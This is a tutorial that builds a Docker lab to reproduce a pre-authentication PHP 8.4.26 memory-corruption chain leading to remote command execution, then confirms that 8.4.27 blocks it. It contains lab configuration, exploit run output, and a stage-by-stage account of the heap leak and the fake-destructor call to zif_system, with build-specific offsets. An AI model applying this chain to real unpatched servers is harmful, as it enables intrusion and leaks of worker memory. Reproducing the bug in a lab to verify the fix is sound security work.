PHP2Shell Docker Lab: Reproduce CVE-2026-109618 and 109619
127.0.0.1, do not expose it to the internet, and only run it
against systems you own or have written permission to test.
Github Repo Here
php:8.4.26-apache container with one prefork worker, runs the
public PoC against a hello-world page, and then runs the same chain against
PHP 8.4.27 to prove the patch blocks it. The app is deliberately boring: no
login, no upload form, no session code, no framework. If the exploit needs
the application to be vulnerable, it fails here. It does not.
You need Linux x86_64, Docker, Docker Compose, Python 3.10 or newer, and
git. The PoC is third-party code with no license file, so the
lab fetches and pins it instead of vendoring it. Read it before you run it.
The lab is calibrated for PHP 8.4.26 on amd64; ARM64 and other builds need
their own offsets.
Building the Lab
The lab lives in ~/www/php2shell. It is a normal Docker
Compose project with a Dockerfile. The Dockerfile derives from the exact
official image, copies the production INI, and adds only the lab config and
the hello-world app. It does not recompile PHP.
I tested the final lab on Debian 13.7 x86_64 with Docker 29.9.0 and Compose v5.6.0. The host had ASLR on. The container was unprivileged.
php2shell/DockerfileARG PHP_IMAGE=php:8.4.26-apache@sha256:60111400ff77bdc44fa79b4f072afe49a42abba71e0846ad496be4761dc9c11a
FROM ${PHP_IMAGE}
# The PoC's heap layout depends on zend.assertions=-1 and the other
# production defaults.
RUN cp /usr/local/etc/php/php.ini-production /usr/local/etc/php/php.ini
COPY php/99-lab.ini /usr/local/etc/php/conf.d/99-lab.ini
COPY apache/zz-single-worker.conf /etc/apache2/conf-enabled/zz-single-worker.conf
COPY src/ /var/www/html/
RUN mkdir -p /out && chown www-data:www-data /out
EXPOSE 80
The Compose file builds that Dockerfile twice. The vulnerable service uses PHP 8.4.26. The patched profile uses 8.4.27. Both base images are pinned by digest, because the exploit's offsets are tied to the build.
php2shell/docker-compose.yml (excerpt)services:
vuln:
build:
context: .
args:
PHP_IMAGE: php:8.4.26-apache@sha256:60111400ff77bdc44fa79b4f072afe49a42abba71e0846ad496be4761dc9c11a
platform: linux/amd64
image: php2shell-lab:8.4.26
ports: ["127.0.0.1:18088:80"]
volumes: ["./out:/out"]
patched:
profiles: ["patched"]
build:
context: .
args:
PHP_IMAGE: php:8.4.27-apache@sha256:a0b75cee7023ba2c127138dcad2ecc6ec7e09435534645e70450f29f24ea2a5a
platform: linux/amd64
image: php2shell-lab:8.4.27
ports: ["127.0.0.1:18089:80"]
volumes: ["./out:/out"]
The PHP overrides are intentionally small. The base is
php.ini-production. The lab sets
memory_limit=128M, post_max_size=8M,
display_errors=Off, and keeps session upload progress on,
because that is the feature the chain abuses.
display_errors = Off
display_startup_errors = Off
log_errors = On
error_reporting = E_ALL
memory_limit = 128M
post_max_size = 8M
upload_max_filesize = 2M
session.save_path = "/tmp"
session.upload_progress.enabled = On
session.upload_progress.cleanup = On
The Apache config sets one prefork worker. That is a teaching choice. It removes the worker lottery from the demo. The stock 150-worker config also works: the public PoC holds 149 workers open with partial POSTs, then sends A1, B1, A2, and B2 to the last one. I tested both.
Does using Docker Defeat the Purpose?
It is easy to assume a container somehow contains a memory-safety bug. It doesn't.
A container is a set of Linux namespaces and cgroups. It is not a memory
safety boundary. The PHP process inside the container is a normal Linux
process running on the host kernel. It uses the same PHP binary, the same
glibc allocator, and the same ASLR behavior as it would on a VM or bare
metal. The exploit sends HTTP requests to that process and runs a command
inside the container as www-data. That is the correct scope for
this bug. It does not need to escape the container, and it does not need
host access.
| Environment | Does the bug work? | What it is good for |
|---|---|---|
| Docker on Linux x86_64 | Yes, verified here. | Reproducible builds, pinned digests, isolated network, easy teardown, safe default. Best choice for this lab. |
| VM or VPS | Yes, assuming the same PHP build and SAPI. | Snapshot and rollback, different kernel or glibc, a stronger safety boundary for untrusted code. Useful, not required. |
| Bare metal | Yes, same caveat. | Closest to a production host. More setup and more cleanup. Not necessary to prove the bug. |
The thing that actually matters is the exact build. The PoC's offsets are
calibrated for this amd64 image: PHP 8.4.26, Apache 2.4.69 prefork,
mod_php, glibc 2.41, Debian 13 base. A different PHP build,
different allocator, different MPM, or a different architecture changes the
heap layout. The vulnerability is universal. The exploit is not.
I did not need --privileged, SYS_PTRACE,
seccomp=unconfined, host networking, or a mounted
docker.sock. The container ran with default capabilities and
default seccomp. The host had full ASLR:
randomize_va_space=2. The exploit is pure HTTP.
Pinned PHP build and digest
Reproducible heap layout
Isolated network namespace
Easy teardown
No host PHP install
No ASLR changes
No privileged container
Same exploit result
The PHP memory-safety bug
The pre-auth request path
The stale worker state
The container's own compromise
The secrets inside the app
The need to patch
One practical warning: do not put the container under a very low cgroup
memory limit. The exploit wants PHP's own memory_limit to fire
at a controlled moment. If the kernel OOM killer takes the worker out first,
you get a different failure. Give the container some room, or leave the
cgroup limit out of the lab.
Running the PoC
The PoC output uses four stage names. Keep this table nearby while you read the logs:
| Stage | Role | What it does |
|---|---|---|
| A1 | OOM producer #1 |
Runs out of memory during session-cookie cleanup and leaves
PS(id) pointing into the request heap.
|
| B1 | Leak consumer |
Reclaims that block with a forged zend_string and
returns worker memory in a Set-Cookie.
|
| A2 | OOM producer #2 |
Runs out of memory again and leaves
PS(http_session_vars) pointing into the request heap.
|
| B2 | Write consumer |
Reclaims that block with a fake reference and array, then runs the
command through zif_system.
|
The first build pulls the official PHP image and clones the third-party PoC
into .poc/ at a pinned commit. The PoC repository has no
license file, so the lab does not vendor it. It fetches it, pins it, and
prints a warning. Read the code before you run it.
cd ~/www/php2shell
./scripts/preflight.sh
You see
PHP 8.4.26 (cli) (built: Oct 21 2026 00:31:19) (NTS)
display_errors => Off => Off
display_startup_errors => Off => Off
max_file_uploads => 20 => 20
memory_limit => 128M => 128M
post_max_size => 8M => 8M
zend.assertions => -1 => -1
session.save_path => /tmp => /tmp
session.upload_progress.cleanup => On => On
session.upload_progress.enabled => On => On
[+] preflight passed
./scripts/run-demo.sh
I trimmed the build and preflight noise here. The stage lines and proof below are exactly what the lab printed.
You see[+] PoC pinned at 17e98ee81025cccfd94b4f9c9a17bf269c65ff75
[!] Third-party code: https://github.com/9bie/php2shell-bypass-aslr-exp.git
(no license file). Review it before running.
[*] target says: hello from php2shell lab
[*] running the PoC (workers=1 because this lab uses one prefork child)
[try 1] A1: END-cleanup send_cookie OOM
[try 1] B1: stale-id OOB read (chunk base + libphp)
decoded=819208 zval_ptr_dtor=0x7fc1b6806b60 -> libphp=0x7fc1b61a8000
chunk buckets: [('0x7fc1b3e00000', 7495), ('0x7fc1b6800000', 1095),
('0x7fc1b4600000', 87), ('0x7fc1b3c00000', 79)]
[try 1] A2 + B2: main=0x7fc1b4600000 S=0x7fc1b46f8398
zif_system=0x7fc1b660d370
[4/4] RCE OK; proof ~/www/php2shell/out/pwned:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
hello from php2shell
================ PROOF ================
uid=33(www-data) gid=33(www-data) groups=33(www-data)
hello from php2shell
=======================================
That is the whole demo. The app printed one line. The exploit wrote a file as the Apache worker. The addresses will change on every fresh container because ASLR is on. The shape of the output should not.
The command is intentionally small. It is a shell command, but the carrier
has a length limit of roughly 200 bytes. id,
whoami, pwd, or a short echo all fit.
A reverse shell is not the point of this lab. The point is that arbitrary
command execution crossed the boundary.
./scripts/run-patched.sh
You see
PHP 8.4.27 (cli) (built: Oct 21 2026 15:53:29) (NTS)
[*] running the same PoC against patched PHP
[try 1] A1: END-cleanup send_cookie OOM
[try 1] B1: stale-id OOB read (chunk base + libphp)
leak failed: RuntimeError('no heap pointers in leak window')
[4/4] all attempts failed
[+] PASS: no proof on the patched target
The patched build still takes the OOM. It just does not leave the malformed state behind. The leak stage finds no pointers, and the chain stops. That is what a real fix looks like for this bug class.
docker compose restart vuln
python3 scripts/leak-only.py
You see
[*] A1: OOM during session-cookie cleanup
[*] B1: stale session ID -> forged zend_string -> Set-Cookie leak
response bytes: 1669198
decoded cookie bytes: 819208
most common pointer: 0x7fed4f6ebb60
derived libphp base: 0x7fed4f08d000
main chunk candidates:
0x7fed4d400000
0x7fed4ca00000
bucket counts:
0x7fed4cc00000 7495
0x7fed4f600000 1095
0x7fed4d400000 87
0x7fed4ca00000 79
[!] The cookie contains live worker memory. Do not paste it into
[!] reports or tickets. The numbers above are enough for the demo.
This stage is worth showing to people who think "RCE or nothing." The leak is a confidentiality breach on its own. The cookie can contain data from other requests handled by that worker. You do not need code execution to have a bad day.
./scripts/preflight.sh and check the
output. The usual causes are the wrong PHP build, a different INI, more than
one worker, or background traffic hitting the single worker.
Under the Hood, Without the Full Memory Course
You do not need to understand every offset to use the lab. If you only care about the operational lesson, skip the rest of this post. If you want to know why the chain works, here is the short version. Part 2 has the full memory-level version.
The leak gives you the map
B1 forges a zend_string header at the stale session ID and sets
the length to 0xC8000. PHP's session cookie code URL-encodes the
string into a Set-Cookie. The result is about 800 KB of worker
memory. The exploit scans that memory for pointers in the expected address
range.
The most common pointer in the leaked region is zval_ptr_dtor,
a function pointer stored in a real Zend hash table. Its offset from the
libphp base is constant for this build. The exploit subtracts
0x65EB60 to get the libphp base. It then groups the leaked
pointers into 2 MB aligned buckets to find the main ZendMM chunk. From there,
it knows where to place the fake array.
| Value | Offset in this build | How it is used |
|---|---|---|
zval_ptr_dtor |
libphp + 0x65EB60 |
Leaked function pointer, used to derive the libphp base. |
zif_system |
libphp + 0x465370 |
The handler the fake array calls during destruction. |
Fake array S |
main + 0xF8398 |
Chosen landing spot in the main ZendMM chunk. |
Fake execute_data |
S + 0x20 |
Makes the handler see one string argument. |
| Command string | S + 0x80 |
The argument passed to system(). |
These numbers are specific to the pinned image. They are not universal constants. That is the difference between "PHP is vulnerable" and "this exploit works on this build." Both statements are true here, but they are not the same statement.
The write turns cleanup into a call
B2 sprays 384-byte values containing fake zend_reference
structures. The reference points at the fake array at S. The
fake array's pDestructor is zif_system. The fake
execute_data sets num_args = 1 and points the first
argument at a fake zend_string containing the command.
When PHP destroys the array, it walks the bucket and calls
pDestructor. That is normally zval_ptr_dtor. Here
it is zif_system. The handler runs the command string. The
command writes to /out/pwned, and the worker may crash on the
way out.
Why the worker crashes after the command
The fake array and the fake reference are not real PHP objects. After the destructor runs, PHP continues tearing down structures that the exploit partially overwrote. A segfault is a normal outcome. The command has already executed. If you were writing a real implant, you would pick a command that survives the crash, such as writing a file or opening a reverse shell. For this lab, `id` is enough.
pure/state.gdb, pure/force_b.gdb,
pure/read_state.gdb) that attach to a debug build and dump
ps_globals, the stale pointers, and the main Zend MM chunk.
Sources and Lab Files
| What | Where |
|---|---|
| Lab repository | jcadima/php2shell-lab |
| Public PoC |
9bie/php2shell-bypass-aslr-exp commit 17e98ee81025cccfd94b4f9c9a17bf269c65ff75
|